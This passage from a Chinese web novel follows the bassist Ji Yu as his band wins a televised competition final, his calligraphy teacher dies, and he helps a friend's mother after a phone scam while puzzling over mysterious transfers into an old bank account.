不必对他们对他们本身投入太多关注,听到他们的器乐发出声音就好。 纪羽还是戴着口罩,全副武装,偶尔有不明真相的路人刺几句也会立马被反冲回去。 宁海的雨季持续到八月仍然不见停,地面就没见干燥过,脚下一踩,泥水就湿了裤腿。 谭欣脱下雨衣,进入干燥的场馆,找到自己的座位坐下,她没上次的好运,只抢到侧边看台的位置,不过这可是决赛,能原价买到一张入场券足以让她在同担面前炫耀整整一月。 前一次内场第一排的体验令戒断反应久久无法平息,接连看到纪羽因病暂停录制、《乐队象限》停播的通知时她恨不得两眼一翻晕过去。 “场馆好大啊。”在她身边落座的女生感叹道。 谭欣接话:“是啊,这是我们市最大的体育场了。” “你是本地人呀,”女生很是友好地笑一笑,“我是从惠州来的,我托了好多人帮抢才拿到今天的票,之前都没时间来。你是不是来过很多次啦?” “没有没有,我也是第三次来,第一次还坐在山顶呢……” 距离决赛直播开始还有不少时间,两人都是健谈的性格,很快便熟络起来,凑到一块儿拍合照。 “你也喜欢阿雀?” 谭欣一眼便认出女生手机屏保是她拍摄的照片,正是第三次公演时纪羽对着她笑的抓拍。 “你也是吗!”女生明显激动起来,对上谭欣的眼神显得更热切,试探性地问出,“你有加入某个群吗,就是那个……” …… “没想到我们是群友,不过我不经常说话,我可以叫你奶茶吗?” 网名“每天一杯奶茶”的女生矜持地点点头,有些感慨地说:“我还看过你的repo呢。” 谭欣道:“都是缘分。” 奶茶笑一笑:“因为阿雀才有的缘分,真好,喜欢他的人有那么多。” 谭欣蓦然鼻头发酸,说道:“希望他和承风都能越来越好,别再有倒霉的事缠上他了。” 女生的对话落入后排遮掩面貌的男人耳中,他处在最角落的位置,视线被遮挡了一部分,不是个好位置。 像这种夏天拉高衣领又严实地把自己遮起,看起来实在是不对劲,不是脑子有病就是身份不一般。 可身份特殊的例如明星艺人都有内部票,哪里会沦落到被发配犄角嘎达里。 梁子尧无视旁人投来的探究眼光,他今晚本不该出现在这里。 “别再有倒霉的事缠上他了。” 他对纪羽来说,也是倒霉吧。前不久一中安排毕业生回校取档案,领取需要按指纹,得本人到场。他在行政楼外站了一天,从前总是笑着打招呼的同学匆匆走过,没有一个人上前和他搭话。 他们换了发型,服饰各异,但脸上的神情都如出一辙地淡漠。 梁子尧不该在意,这些人带给他的感受通常也只有无趣,他要等的人也不是他们。 但那道身影真正出现时,他却躲了起来。 比流传的视频和照片里要瘦,也比他记忆里的人更纤细。 那股令人捉摸不定的骄矜被敛在苍白的肌理之下,而随着脆弱的血管一同浮现的是显而易见的虚弱的病气。仍然是漂亮的,却是过分柔软,仿佛周身的气度都随着他的弱态而柔和,时间的流速也不知不觉地缓慢。 已是黄昏了,衰落的日光照得梁子尧眼前恍惚,纪羽的剪影越行越远。 高清镜头下,面部状态纤毫毕现。 纪羽的面孔出现在大屏上,尖叫声四起。 梁子尧不自觉前倾上身,试图看着更清楚些。 直播间刚刚开启,直播观看人次已破八百万且仍持续上涨。 纪羽知道该在什么时候发挥最大优势。 几乎是每次导播将镜头对准他,观众席便躁动一阵。 那是绝对会赢得喜爱的一张脸,但更引人瞩目的是旺盛蓬勃的野心,少年盛气凌人的脸上清炯的眼睛倒映着舞台炽热的光束,像一汪水聚在眼底,听到欢呼他就毫不吝啬地展露笑脸,眼中的漩涡即要吞噬般不住闪动波光。 他清瘦的身形被掩藏在眩目的光晕下,即便他只在主舞台的边角,和几十名乐手站在一起,也能瞬间拉过人的视线,只为他停留。 开场舞台结束众人退场,仍然有弹幕询问角落的贝斯手姓名。 无论承风能得到多少喜爱,至少他们被看见,被数百万双眼睛注视过。 【不踩瓜不甜[349]】 【每天一杯奶茶:我不行了我好激动…】 【雀雀乐:我也想去现场啊啊啊,你位置怎么样可以看到本人吗?@每天一杯奶茶】 【每天一杯奶茶:可以可以,本来以为会太偏,结果刚好宝宝就在我这个舞台方向,脸在那么多人里面好小好小,但是眼睛好大!辽光还走过来逗他……不知道是不是因为化了妆,看上去状态特别好,嘴巴肉肉的亲死!】 【一脚踢爆番茄:本老公真的吃醋了、、】 【不想谈心:[图片]x18】 【抬头赤壁:卧槽我们群还有站姐!】 【别说她是男人好吗:我要吃他脸肉[微笑]脸这么小是不是被人掐着下巴点的痣,嘴巴这么红是不是在后台被人捷足先登了[微笑]】 【老天奶不公:脸上那颗痣好漂亮,手也漂亮,我眼睛看不过来了,怎么哪里都漂亮?】 【我的人生风风风风风雨雨雨雨雨:好嫉妒好嫉妒好嫉妒好嫉妒】 【每天一杯奶茶:马上就要上场了,今晚每组可以表演二十分钟[可怜]】 【人生几多丈夫:那么久,我也在现场,我申请上台给老婆做凳子[举手][狗头]】 【抬头赤壁:@人生几多丈夫呵呵,没有这项福利!】 “站得住吗?”老麦偏头问道。 观众的反馈山呼海啸般涌来,承风即将站到旧夏天乐队曾登上的舞台演出,尽管距离独立开办演唱会的幻想相去甚远,但纪羽的心已然止不住鼓噪。 他在演出前已经将身体状态调整到最好,指标是让纪律说不出反对的好,他感到从未有过的轻松,身体飘飘然仿佛浮在空中。 他说:“没问题,我很OK。” 辽光抖着腿压住身体的颤抖:“实在站不住你就给我打手势,我把老麦的凳子踢过来给你,他最近马步扎得可好了。” 纪羽看他一眼,觉得辽光可能比他还需要助力:“你能站起来吗?” “能啊!”辽光抱臂抖抖抖,“待会儿!待会儿就站。” “……没出息。”贝旬拿了瓶水拧开瓶盖,辽光刚想感动地去接,贝旬手一转就递给了纪羽。 “喝点水,别紧张。” 辽光:“你大爷的,怎么不对我说。” 纪羽把水送他嘴边:“喝吧喝吧。” 插科打诨没一会儿,灯光暗下,场控提醒:“承风上台。” 容纳了数万人的场馆,也有格外安静的时刻。 远远的几束白光照在墙壁,纪羽找到自己的位置站定,看到台下蓝色荧光棒汇成一片呼吸的海。 “各组人员注意,演出五秒后开始。 “五 “四 “三 “二 “一 “开灯。” 第109章 直到许久以后, 谭欣回想起这个夜晚,像是经历一场虚幻的梦境。 四万人汇集到场馆令声音无限地弥漫,像悠远的海妖吟唱捕获水手, 四周尽是癫狂的呐喊声。 谭欣也成了沦陷的一员,费尽心机带进的相机被弃置一旁, 耳道贯通着心脏,心房一阵阵紧缩,神经末梢都带着电意的酥麻, 一路攀爬至后脑, 连带着颈侧过敏般收紧。 窒息般的快感拉回神智,喉间传来刺痛, 谭欣才发觉自己声音嘶哑, 余光中得体优雅的女生涨红的血色从颈下蔓延,五官、轮廓也渐而模糊, 唯有那一双晶亮的眼睛一瞬也不离开舞台。 相似却又不同的双眼, 同样的爱与沉醉。 舞台上四人身前都立着话筒架,追光披在身上, 反射出微亮的光。 如同无涯长河里自顾自发亮的恒星, 从遥远的未来看来不再孤寂。 新肉长出茧子来总是不容易,细弦滑过指腹带来刺痛, 放疗期间纪羽的手上总在脱皮,指头包裹着的薄而韧的茧子也一块又一块脱落, 后来再抱起贝斯, 手指就起了水泡。 纪羽从前是痛得要哭的, 眼泪窝在眼眶里要落不落,烧热的针尖悬在半空,贺思钧指甲边的裂口结了疤, 在纪羽看来狰狞又可怕,眼睛一眨却模糊了。 贺思钧在哀嚎中将透明的水液用纱布沾走,一层药膏又一层创口贴将他的手指包裹。 纪羽痛得手掌发颤,问他的手被包成这样还怎么练习。 “那就不要练了。”贺思钧这么说。 迟迟没落下的眼泪就这么滚下来,纪羽气得用指甲挠他,手指受了力更痛了,连吃饭喝水都成问题。 那几天他没回家,就在贺思钧房里睡,纪律打电话来问他为什么不回家,是不是又在想着离家出走,纪羽直接把电话线拔了。 贺思钧不在房里吃东西,但端着碗一勺勺喂床上的纪羽很是习惯,纪羽吃饱喝足要喝水,要换全是纽扣的小衬衣,还要指挥贺思钧写作业。 他说:“曲坚说这周就带我上台,你要不要跟我一起去?” 从前他从来不多问这一句,贺思钧理所当然地要跟着他,他兜这一圈子,贺思钧半懂不懂。 纪羽憋得脚一蹬,倒在枕头上侧着脸对他道:“我七月份还不识谱,现在还没到九月,我就能上台了哦。”满打满算还不到一个半月。 贺思钧明白了:“他想靠你赚块钱。” 枕头砸在他后脑勺,纪羽白眼横他:“你笨死算了,难怪连吉他也学不会。” 他坐起来,解开创可贴,指尖薄薄一层皮在药膏浸润下仍是软的,不过再没几天就能形成一道硬壳。 “等哪一天我把贝斯彻底学会了,像玩玩具那样,可能我就不喜欢了。” 贺思钧捉住他的手,重新上药。 “那应该很快。” 除了对人,纪羽的喜欢来得轻易又迅疾,以至于对所有事物平等地新奇。 有太多数不过来的一时兴起,贺思钧习以为常,纪羽也从没想改过。 这一时兴起竟然也度过了大大小小百来场演出,指尖的茧子薄了厚,厚了掉,后来听老麦说长了水泡不能挑破,歇几天,等它消下去再磨平就不会再长。 可能是纪羽一开始用了错误的方式,水泡还是会长,消不下去,不小心蹭到就成了血泡。 指头钻心的疼。 也或许是他还没学明白,得一一试过错才知道最聪明的指法。得真正登过宽阔的舞台才能明白他适不适合、够不够格拿起这把贝斯。 站在加高的舞台上,看不清人,视线掠过每一处,都是相似的神情,眼睛点亮又一双荧蓝。 像飞鸟跃入海中,不一样的漂浮,水母伸出触手柔软地托起他,注入的毒素激起快感,手指的凹痕被麻痹痛感,sp一下比一下加快,辽光扭过头瞪大眼睛看他,嘴和手不知该兼顾哪边。 纪羽笑得很痛快,他趁着没他的词儿,满场乱蹿。 镜头也跟着他跑。 【扇我不解释。】 【这下我信了贝斯手很会扇巴掌了。】 【爽晕了,这个节奏,这个把控力,果然乐队还是要听即兴。】 【贝斯和吉他别打了,你们回头看看鼓手的表情呢?】 【辽光满场跑我觉得是在挑衅,阿雀跑来跑去我怎么觉得好萌,想录下来发朋友圈[憨笑]】 【逐渐变成宝妈的形状。】 【什么叫游刃有余,这就叫游刃有余![舔][舔][舔]】 【完全看不出来阿雀大病初愈啊,实力好硬[哭哭]】 【好想去现场啊,已经迫不及待找了最近一场乐队演出打算去看了!】 【怎么没有打赏链接,我免费看这一场感觉很不好意思。】 【全平台同名@承风WinG 点个免费的关注就行了。】 【G.T和Diba也在台下看哎,还好留到现在的都是正常人了。】 【大喜之日不要提晦气的事,今天我有预感。】 【有预感+1。】 积郁数月一朝回春,承风势不可挡,数万人随着节奏一同震颤,屏住呼吸在高/潮中沉沦,一分一秒都不愿落下。 心脏的跳动与鼓点重合,思考失序,视线不再试图追逐着纪羽的身影,梁子尧靠在椅背,大屏中切出全景,承风在舞台的中心,被层层环绕的观众簇拥。 纪羽的视线也不为某一处停留,他停下和声,扣紧琴弦,在灯光暗下的一瞬,他面向了自己的队友。 梁子尧清晰地看见,他与纪羽的距离越来越远。 他深深埋下头,从掌根溢出一声苦笑。 下台阶时,纪羽趔趄了一下,从旁伸出一只手扶住了他。 纪羽抓住那只手臂,莫名有些急切地抬头看去,是贝旬。 “怎么样,还好吗?”贝旬捕捉到纪羽面上一闪而逝的失落,语气平稳。 “很爽!”纪羽提起笑意,体力剧烈消耗后嘴唇有些发白,脖颈处的皮肤半透明般隐约可见蓝紫的血管像某种纹饰蜿蜒,“我都不想下来了。” 这是一场完美的没有任何差错的演出。 辽光发出哀嚎:“我手抽筋了,阿雀都怪你!” 纪羽走到他身边去顺手捏他麻筋:“是你跟不上我还非要和我掰,你练习不够呀~” 辽光痛叫一声,把目光引向甩着手腕的老麦:“你考虑过老年人的心情没有。” 老麦:“……闭嘴。” 纪羽走在前面,推开休息室的门道:“好吧,今天我请客,就请你们——每人两盒钙片。” 辽光:“今天得吃顿大的,吃顿好的!” 纪羽不顾摄像头还在录制,径直瘫到沙发上:“你别忘了,我们可提前说好的,冠军要请所有队伍吃饭。” 辽光刚下台心里正膨胀着,一说请客就蔫了:“哎呀这个奖金也不会马上发吧,比赛就一个形式,俗话都说文无第一,咱们各有所长嘛……” 老麦在纪羽边上坐下,掀开衣服在他左肩拍了块热贴,眼也不抬地刺没出息的主唱一句:“用不着你出钱。” 还不待辽光故作矜持道这不好吧,贝旬便道:“节目组包场了,守财奴。” 决赛只剩下四支乐队,Punch、承风、南塔公园、牧羊犬,将由直播投票与现场评审共同决出名次。 谁都不敢打包票冠军已是囊中之物。 走到今天,过往种种经历对每一支乐队而言都弥足珍贵。 他们打开的不仅仅是个人的知名度,无数新生乐队在因节目为导火索掀起的风潮中急速成长,文娱演出场次成倍增长。 无论是否拥有冠军头衔,他们都已拥有更光明且广阔的未来。 凌晨,本该是万籁俱寂,家家户户悄然安眠的时刻,却有上千万人在为一个未知的结果揪住心脏,忐忑激动。 【一只橙子:好久没看到网络上有那么多熟人叽叽喳喳了。】 【扶摇直上九万里:出结果了吗出结果了吗,直播太慢了,现场应该在宣布了吧?】 【矮山雀:虽然无论是谁获得冠军都实至名归,每一支乐队都很喜欢,但是我还是好紧张,紧张到不敢看。】 【嫩屁大王:私心还是希望他们能拿到冠军……】 【不踩瓜不甜(349)】 【每天一杯奶茶:主持人在宣布票数了[祈祷]】 【不想谈心:[祈祷]】 【雀雀乐:[祈祷]】 【人生几多丈夫:[祈祷]】 【一脚踢爆番茄:信女愿用一生养胃换取今晚得偿所愿[祈祷]】 【抬头赤壁:我保证再也不踩瓜积阴德[祈祷]】 【别说她是男人好吗:[祈祷]献祭我女十八个老公换取她一生荣华富贵。】 两个女生交握着汗湿的手心,焦急地等待着最后的结果落下。 舞台上,四支乐队分立并肩。 主持人:“接下来我将宣布直播观众投票数,获得现场评审票数最高分的乐队是承风,目前领先7600分,如果剩下三支乐队直播得分高于承风这一分值则将反超承风成为《乐队象限》节目总冠军,反之,承风将以双冠领先的成绩成为最后的赢家。 “大家,准备好迎接票数了吗?” “准备好了。” 纪羽说完才发现其他人只是矜持地点点头,只有他出了声,观众席上传来一阵阵笑声。 主持人按照流程继续说道:“那么现在就将匿名公开四支票数。” 随着几道铿锵的音效,主持人依次念出票数分别为2657028、2456491、3067243、2764015。 总票池已破千万。 “那么,谁才是这最高票数的拥有者呢?” 音效师配合着主持人制造悬念,将在场所有人极力平稳的心高高吊起。 主持人狡黠一笑,开口道:“承风——” 全场哗然。 “——的贝斯手来猜一下吧。” 纪羽心险些跳到嗓子眼里,暗暗瞪了主持人一眼,主持人摊摊手扩大了脸上的笑容。 纪羽清清嗓子,接过话筒:“我觉得,最高分是我们的。” 主持人挑高眉,故作惊讶:“不再谦虚一下了吗?” “不了,”纪羽眨下眼,“冠军是谦虚不来的。” 主持人放声大笑,终于挥手放过了他,用激昂的语气宣布: “那恭喜你可以尽情骄傲了。 “《乐队象限》的总冠军是你们,承风。”—— 作者有话说:恭喜宝宝 第110章 一支长达三小时的幕后花絮记录下后来的一整晚。 收工时还在营业的饭馆不剩几家, 一群人雄赳赳气昂昂地闯入砂锅粥店,将今晚直到明天的食材全包了。 牧羊犬的人跑了一条街区买来了酒,对着镜头豪饮, 向承风宣战:“音乐节继续见啊!” 纪羽没怎么动筷子,看着老麦被捉去和Punch掰手腕, 辽光和赶来蹭饭的章成慧互相挑衅,贝旬好像喝多了趴在桌上睡了过去错过牧羊犬的键盘和主唱亲嘴。 酒精上头,几乎每个人都涨红了脸, 熏熏然地大着舌头讲话, 纪羽作为为数不多清醒的人,受到了最多的问候。 阿雀, 你高不高兴? ——你是冠军了! ——你的身体逐渐痊愈, 梦寐以求的大学生活也向你敞开大门,你应该很高兴! 数不清受到多少前程似锦的赞叹和祝福, 纪羽也像醉了酒一样晕乎乎地回应:高兴, 我高兴得不得了啦! 稍显安静的角落里,跟拍摄像问他, 从参加节目到现在, 有什么心态上的变化,让他说一说感想。 纪羽对着镜头凝滞了几秒, 可能是因为困倦,脑子里竟然什么也不剩了, 最后他牛头不对马嘴地说道:“不要放弃, 一旦放下了就什么都没有了。” 还想补充两句, 两个醉汉从边上扑来,纪羽捂着脸缩成一团才没让亲亲病毒传到他身上。 最终散场时天光大亮,幸好纪泽兰和徐梁为他买的花还没谢, 纪羽和众人告别,上了车,困倦地低着头,柔嫩的花瓣托起他的脸。 没有香味的花朵,引他进入混沌的梦乡。 临睡前,一个念头响起。 那个许愿他所有愿望都能成真的人,他的愿望究竟有没有实现? 三天后,承风成功与平台方达成一致,正式签约。隔天,纪羽去参加了杨康年的婚礼。 新娘不喜欢被拘束,仪式现场被选在了绿茵地,天朗气清,还有鸟雀落在花簇中。 纪律这样的人居然也会做伴郎,不过大概这辈子也就这一次。杨康年致辞时特别感谢了他们俩兄弟,还祝福他和纪律感情越来越好。 纪羽生拉硬拽地提起嘴角,看着纪律泰然自若地接受宾客的哄笑,偏过头去撇了撇嘴。 喜讯连传,八月末,李玄的女儿出生,红通通的一团缩在襁褓里,纪泽兰看到了朋友圈对纪羽说,他刚出生时比这还要小,像只没毛的小鸡仔。 纪羽看了照片,说那小妹妹一定比他要强壮得多。 九月,纪羽人生第一次坐了飞机,去往一千五百公里外的地方演出,晕机的后遗症让他走在平地上也想吐,腿上起了血点,站久了就会疼,但好在没有影响第二天的演出。 他们压轴,从天亮到天黑,近一个小时的表演时长,乐迷不仅和他一块儿站着,还又蹦又跳,纪羽鬼使神差地也跟着蹦了两下,结果摔了个屁股墩,当晚视频就传开了。纪羽臊得捂着脸走完了机场。 九月中旬,纪羽报考的南华大学开学,军训免训,纪羽递交了档案,当天又回了五百公里外的宁海。 巴文旭对化疗的反应太大,前些日子掉了牙,还在散步时闹出了点笑话,让一辈子讲究体面的老头受不住地叫停了治疗,从医院搬回了他的小院。 葡萄藤密密麻麻爬了满院子,阳光只得见缝插针地钻进来。 巴文旭躺在廊下的藤椅上,眼睛闭着,手上慢慢扇着蒲扇。 “写快了,字形快了就偏,心不定写不好字。” 纪羽放下笔,走到藤椅边蹲下,哼唧道:“您诓我的吧,离那么远,怎么听得清?” 巴文旭也哼:“心静了自然听得见,你一提笔我就知道你要放什么屁。” “说杂了说杂了!”纪羽将宣纸拿来展在巴文旭眼前,“您睁开眼看呀,这不写得挺好的,至少和您像了三四成吧。” 巴文旭抬起眼皮,纸面【福如东海】四字,力透纸背,入木三分,他抬起的眼睛又闭了回去。 “这几个字哪能这么写,一点我的风骨都没有。” “我明明是按着您的字迹临的!” “那更不对。” “爷爷,”纪羽低下头贴着他苍老的手背,“你这么严格,我这辈子都出不了师了。” 巴文旭的嗓子发涩,他病得重了,就算再严格的训斥也不如往日的威严,听起来竟然像安抚。 “一个小孩子还说一辈子,出不出师是做老师的说了算,你急什么,还有的是时间磨。” 纪羽把眼泪抹到袖口,拖长语调不太高兴地回道:“哦——” 藤下垂落的葡萄还青涩着,叶片已渐渐地枯黄。 “我们到里面去吧爷爷,外面架子上好像有虫。” “那么大个人还怕虫?总不会掉到你嘴巴里。” “会掉的,我一张嘴说话它不就掉下来了嘛,虫子蛰人可疼了,掉到嘴巴里我肯定就吃不了饭了,到时候葡萄熟了我也尝不到味儿……” “你一天说那么多话,虫子不钻你嘴巴里钻谁的?” “爷爷!” …… “爷爷,我要去上学了,今年下雨多,葡萄不甜,还有好多都烂了,剩下的都不够分,您去年说都给我的,但今年弟弟妹妹也来了,我不给他们该说你小气了。” 巴文旭的牌位静静地立在供桌后,用了他最喜欢的红木,指明了让纪羽写他的名,焚香袅袅地抚上金印,像做着最后的检阅。 纪羽叩头,上了三炷香。 巴文旭把书画都留给了他,纪羽按遗愿将其中一幅送去了拍卖,巴文旭逝世的消息一传出,这幅字的价值便节节攀升,最后以七位数的价格成交,这笔钱投入了癌症慈善基金会。 据说特效针剂已经通过临床试验,大概没多久就能面世。 这笔钱至少能帮助八人挺过难关。 剩下的字画,都被纪羽带去了新家。 就在离学校不远的位置,纪羽选定了一套公寓,原本是打算自力更生,没想纪泽兰大手一挥,将上下几层都包下了,把家搬了过来。 不过他们也不常住,过去十多年,他们早习惯了各地辗转,不做空中飞人的日子实在对他们来说很寂寞。 纪羽不可能再时时陪着他们,也不再需要父母无微不至的照顾,就这么彼此忙碌,好像才是一个家的常态。 不过,偶尔能相聚,足够抵过所有奔波。 纪羽没体验过住宿生活,大一刚开始时还办理了住宿,只是才过了三天,他就因睡眠不足晕在课上,辅导员亲自给他办了退宿手续。 好吧,不是所有人的生活习惯都能互相匹配,纪羽渐渐习惯起独居生活。 韩姨偶尔会从老家寄些东西给他,纪羽一年到头冰箱里也没个空。 她离开的时候衣领处一圈都打湿了,纪羽抱着她,感受到她温热的怀抱,眼泪一连串地掉。 怕他一个人出意外,偶尔也有几个保姆上门做做家务,不过纪羽比以前更怕死了,从不做危险的事。 毕竟面对死生的本人可以很坦然,留下来的人却要日复一日地守着记忆继续生活。 如果无法相见,想念只增不减。 他和纪律的关系却从中达到了巧妙的平衡,大概是没有充分的理由生活在一起,他们见面的次数越来越少,就像其他到了年纪会主动分家的兄弟一样,一年到头只在几个节日里见一面。 纪羽觉得这样很好,虽然纪律看上去总是有话要对他说,但有什么话,是过去十八年里没说过的呢。 伤害的、斥责的、道歉的、安抚的,那些依赖与钦慕早就随年岁增长溜走了,那本来就不该是轻易得到又能自然留下的东西,他们彼此都不需要再围着对方的生活打转,身体里流淌着的相似的血液,已经是最大的馈赠,让他们还能以亲人自居。 社会学的课程对纪羽来说不算难,只是那些不断解码又编码的词汇让他头疼,第一学期,他在图书馆里泡得满身油墨味,得到了又一个人生第一次。 他就不该向辽光透露他的学业,以至于每回亮相都得被起哄一次年级第一,纪羽为了保住这个头衔,不得以休息日还在家早睡早起勤勤恳恳努力学习。 家里堆满了书,虽说校图书馆里都有收录,但人员太密集,总是纪羽千辛万苦找到一个僻静的角落,没多久四周就坐满了人。 随着年龄增长,他免疫力好了不少,但还是容易感冒发烧,夏天太热容易出汗再着凉、冬天太冷被窝里很暖和、换季流感多发不宜和人接触所以非必要不出门。 直到大三时,纪羽才从别人口中得知自己的形象很高冷。纪羽听了觉得这样也很好,有距离感的人才不容易被编排嘛。 要知道高中同学群里还在流传着他和贺思钧私奔的谣言。 一想到这儿,柳承的消息传来了,展舒文在电话里说柳母遭了电话诈骗,半生家当都被哄了去,现在正在家里闹死闹活,纪羽边听边订了车票准备回去。 110-120 第111章 “我没多想, 账上多了一笔钱,我不敢要,人又着急打电话来, 说是孩子的保命钱,我一听着孩子在边上哭, 细声细气的可怜,就给他们转过去……我没想到,我该到柜台里去……我真不该……” 柳母坐在小凳上抹泪, 双眼浮肿, 往日梳理齐整的鬓发散乱着,凭白老了十岁。 她念叨:“阿承才找了工作要打点, 晓怡的学费也在里头, 我怎么那么糊涂!” 柳晓怡长高了,和展舒文差不多的个头, 她半蹲着搭上柳母的手:“别哭啦, 哥姐不都来了在给你想办法吗,你再哭把眼睛搞坏了又得花钱。” 展舒文也在一旁应和着看病费钱, 做个CT几百就没了, 两人一唱一和,柳母好歹是不再哭了。 纪羽把柳承扯到一边去:“具体转了多少?” “七万多, ”柳承亮出转账记录,“这么大笔钱, 也怪我, 那时候没接着电话, 再回过去,钱已经没了。” 柳承自己是学金融的,在证券公司里实习, 已经定好明年毕业就转正了,他也没料到,自己家会遭了这么简单的诈骗。 纪羽想也不想:“我先给你填上,你就告诉姨是银行转账延迟拿回来了,让她定定心。” “那哪行!” 柳承这两年入了社会,性格也不复从前的懦弱胆怯,中气足了,声如洪钟,后头的啜泣声都停了一歇。 纪羽忙把他拉到门外去,在他胳膊上重重打了一记:“就你大声!你从前怎么不知道硬气!” 纵然柳承皮糙肉厚,纪羽也不是从前的纪羽了,手劲大了不说还不发出响声,一巴掌下去饶是柳承也忍不住缩了脖子畏缩一下。 但到底有长进了,柳承弱下声音立刻对纪羽解释道:“你自己花钱的地方也多,我哪能要,而且我妈你也知道,这钱三五天地没追回来,你一来这账就平了,她肯定多想。” 纪羽哪里没想过,他眉头拧着:“那难道就让姨一直这么哭着,我又不是不知道姨的性格,你让她惦记着骗子还不如惦记着我呢。况且我有钱,我愿意给,怎么就你不能要了。之前不是都说好了,有什么事咱们一起解决,谁也不要推脱,怎么到你这,我说要帮忙你还不乐意了,你不要我帮把手,干脆别让我知道你的事,以后也别找我了。” 前些年他在外做田野调查被当地的红火蚁咬进医院也没瞒着两人,怎么到柳承这他要搭把手还不让了? “不是不是,”柳承到现在放整个公司里都属于能说会道的知心挂了,对上纪羽还是笨嘴拙舌,“我是怕你吃亏。” “我吃哪门子亏,这钱是借你的,那七万要是追不回来,你就每个月慢慢还我,你有手有脚的还怕挣不了钱了?” 脱下一模一样的运动服,差距才开始显露出来,纪羽知道钱不是万能的,但没钱万万不能,他长到现在除了攒钱买贝斯那会儿从没忧心过物质问题。 从小到大他的医疗费加起来够十多个孩子平平安安长大,即便他依旧不能劳累、不能跑跳、不能长时间站立,但没有严重的并发症和后遗症,已经是用金钱堆砌出来的幸运。 如果仅仅用钱就可以解决问题,纪羽绝不是一个吝啬的人。 既然他可以用这笔钱治柳母的心病,那又有什么不可以?就算柳承是个背信弃义的白眼狼,那也不是现在他要考虑的事,更何况他知道柳承是怎样的一个人。柳承是他为数不多的的朋友,他当然要尽己所能。 三年过去,纪羽的面颊脱去了稚气,眉眼越发出众,几乎每一次他出现在人群中,就会引起注目,但更值得赞美的,该是他愈发坚定的心智。 面对纪羽不容拒绝的眼神,柳承也再说不出一个不字来。 “没关系啦,反正我是大哥。”纪羽仗着自己留了一级,自觉给自己挂上了头衔。 和柳承定好说辞,又装模作样地演了一出戏,纪羽趁着柳母不注意溜出去,给顾英杰拨了通电话。 这小子在警校里别的没学会,唬人一套一套的,一口应下了这件差事。 “放心吧,我保管阿姨听不出破绽。” 而后纪羽又把纪律从黑名单里拉出来,让他推几个刑事辩护律师给柳承,发完消息又把他拉回去。 他常用的银行账户柳母认得,肯定是用不了的,纪羽从犄角旮旯里翻出一个许久没用的账户登上,因为忘了密码还费了一些功夫找回。 登上的一刹那纪羽差点拿起电话报警。 怎么会有那么多钱? 他当初顶多在账户里留了几千元,现在这个数值却翻了几十番。 最近一条交易记录是在二十三天前的一条转账,数额足足有二十万,没有任何备注信息。 而交易户名也是一个全然陌生的姓名。 是诈骗吗?可如果是诈骗,这笔钱也已经到了他的账户上,在此期间,纪羽也没有收到过任何需要他汇款的短信。 什么骗子会把一个没什么积蓄又许久不使用的账户作为目标呢? 再往上翻,纪羽发现这个账号不仅仅只有一条汇款信息,每隔几十天,这个账户就会汇来一笔钱。 少的只有几千,多的有十几万,而最早的汇款信息是在三年前。 三年前,纪羽才十九岁,而现在,再过几个月,纪羽就要满二十二了。 谁会对一个人实施长达数年的诈骗呢,他就不怕血本无归? 一条条转账消息刺眼,纪羽想,如果他一直没发现呢,这些金额就在他一无所知的角落里越累越高,成为一串毫无作用的数字? 纪羽切换账户,把钱直接打给了柳承,他也是傻了,银行转账都得显示转账人姓名,哪里换一个账号就看不出来了。 他在宁海的床有点旧了,不如他在新家买的多功能床,能调节倾斜度,床头还可以架电脑平板。 对比起来,这张床就显得有些过于朴实了,结构简单的床架加床垫而已。 纪羽躺着,总觉得哪儿都不舒服,明明身下的床垫也花了大价钱,支撑力依旧很不错,但好像总有什么硌着,让他睡不安稳,躺不平静。 十几分钟后,纪羽终于爬起来,蹲在床边,从床垫下取出一张信封。 纸张氧化的速度好像比任何东西都要慢些,信纸被妥帖地塞在里边,依旧洁白,上面的字迹清晰。 这不是纪羽人生中收到的第一封情书,当然也不是最厚、言辞最优美、最富感情的一封,但却是带给他最大震撼的一封。 他恼怒又羞躁,不解又气愤,甚至还有些好奇,他不明白像贺思钧这样的人会说些什么情话,尤其是会怎样对他朝夕相处本该无话不谈但又决裂的朋友剖开内心告白。 纪羽有些忘了,那时打开这封信他究竟看到了什么,那时候太多的情绪冲刷着他,他有时睡前回想过去会睡不着觉,睁着眼睛细数自己的懊悔到天亮。 很多事情本该有更好的解决方式的,但纪羽知道,这些不完美不妥帖,已经是他曾经所能做到的最好,他也不过是在无数的昨天里走到了今天,不应该批评自己,也不该指责记忆里不成熟的某某。 再看到这封“情书”,纪羽好像只能看到一句话。 ——不要抛弃我。 纪羽确实没有抛弃他。 这三年里他尝试过数种方式去找贺思钧的消息,也不是要达成什么重大的结果,只是他想至少他做了,贺思钧对他的喜欢也不算是错付了。 有点狡诈,好像只是在减轻他的心理负担。 得到的结果无非就两种:不好找和不好找。 总结起来大概都是一个意思。 三年里纪羽数次回来,没有一次想带走这封信,好像这封信封存在这里,就把十七岁的贺思钧也留在了这里。 不是贺思钧一无所有地离开了这里,离开故土,离开他仅有的朋友,而是他放下了贺思钧对他的好和坏,把他存在了这片海浪不断的城市。 铁线莲的花期很长,纪羽不确定什么时候该给它浇水,请了人来打理它。 没人约束着,它把藤蔓爬满了围栏,又伸长枝条,好像要搭到露台上去了。 柳承说柳母应该是信了,精神头一日比一日好,就是不爱看手机了,觉得上边都是骗人的东西,家里重新安了座机,纪羽拨过去让柳晓怡存了号码,柳晓怡让他明天来家里吃饭。 没过几天又听说那伙骗子已经被抓捕归案,还在审理,不过钱不一定能拿得回来,十几个受害人天天在警局门口蹲着要钱。 银行那边说给他转账的账号没什么问题,正常使用即可,纪羽给那边转了一次钱备注了自己的联系方式,几天下来没有回应。 纪羽没法把太多精力都放在这上面,他在家待了几天,又和承风四处飞开巡演,场子都不算特别大,乐迷很喜欢这种近距离,不过他们最近在考虑正式地办演唱会。 不过忙了小半月,曲坚就叫停休息了,纪羽思来想去,又回了宁海的家。 第112章 从前不觉得, 这会儿自个儿待在家,耳边没了辽光那些个鬼哭狼嚎,纪羽才发现家里格外地空旷。 尤其到了晚上, 路灯浅浅,树枝摇晃, 房间里外出现一丝响动便大得惊人。 十八岁生日礼物那一处房产倒是小一些,适合独居,但早两年就被纪羽改成了排练室, 不太方便。 再说了, 在自己家待着,一惊一乍的算什么, 他也是能当家做主的人了, 身上没点气魄怎么行? 可隔天就听小区里不太平,东边那户人家遭了窃, 古玩珠宝一扫而空, 却是一点痕迹没留下,小区管家挨家挨户通知注意财产安全, 近期会加强巡逻。 纪羽有点忐忑了。 太阳临落山那会儿, 纪羽便上跑下把灯都打开了,门窗上了锁。下单的摄像头得等调货, 